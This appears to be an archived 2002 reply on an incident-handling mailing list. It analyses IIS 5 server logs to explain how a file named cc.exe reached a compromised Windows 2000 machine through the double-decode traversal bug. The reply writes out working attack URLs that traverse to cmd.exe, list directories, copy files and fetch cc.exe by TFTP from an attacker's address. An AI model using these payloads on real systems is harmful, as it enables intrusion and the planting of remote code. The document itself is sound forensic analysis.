On Thu, 11 Jul 2002 10:09:28 -0500, "Matt Andreko" wrote > I have been asked by many to see the logs. I have also posted them to > the website at http://www.criminalsmostly.com/~mandreko/logs.zip (didn't > want to post a really really long post) > > I appreciate all the responses I'm getting, I'm finding out more that I > did not know about this little file. I'm mainly trying to figure out > how it got there, and where it came from. On an unrelated note, this server is Windows 2000 and not vulnerable to the HK.EXE exploit (patched by MS00-003.) Richard Bartlett's descriptions of the toolkit seem a likely explanation. As to how cc.exe got there, the logs referenced above show the server vulnerable to the double-decode bug (patched by MS01-026.) For example http://>/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: will leave a 200 response from IIS 5 in the logs and actually transfer the file CMD.EXE to the attacker. This behavior is a change from the Unicode bug (patched by MS00-086) which would have returned a directory listing to the attacker. Additionally, the familiar http:// >/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+cmd2.exe will leave a 502 response from IIS 5 in the logs, and output to the attacker CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: 1 file(s) copied. The attack URLs above sent to a double-decode bug vulnerable server are consistent with your ex020522.log #Software: Microsoft Internet Information Services 5.0 #Version: 1.0 #Date: 2002-05-22 12:05:49 #Fields: time c-ip cs-method cs-uri-stem sc-status <snip> 12:05:49 212.179.250.122 HEAD /scripts/..%5c..%5cwinnt/system32/cmd.exe 502 12:05:52 212.179.250.122 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe 200 12:06:55 212.179.250.122 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe 502 12:07:20 212.179.250.122 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe 502 12:10:51 212.179.250.122 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe 502 As such, the attack URL http:// >/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+tftp+-i+<IP_ADDR>+GET+cc.exe+C:\winnt\system32\cc.exe could have transferred the file cc.exe to the victim server using TFTP. Since you are not logging cs-uri-queries we may not be sure what commands successfully returned the 200 or 502 responses. As preliminary guesswork only, most of the other logs indicate automated tools (several requests within the span of a second or two.) The compromise *seems* to have been mounted from the same ADSL netblock. Inspection of the logs *seems* to reveal an automated tool first, run on two successive days, followed by manual attack --- all originating from that same IP block. Matt Scarborough 2002-07-12 ---------------------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com
This archive was generated by hypermail 2b30 : Fri Jul 12 2002 - 15:17:41 PDT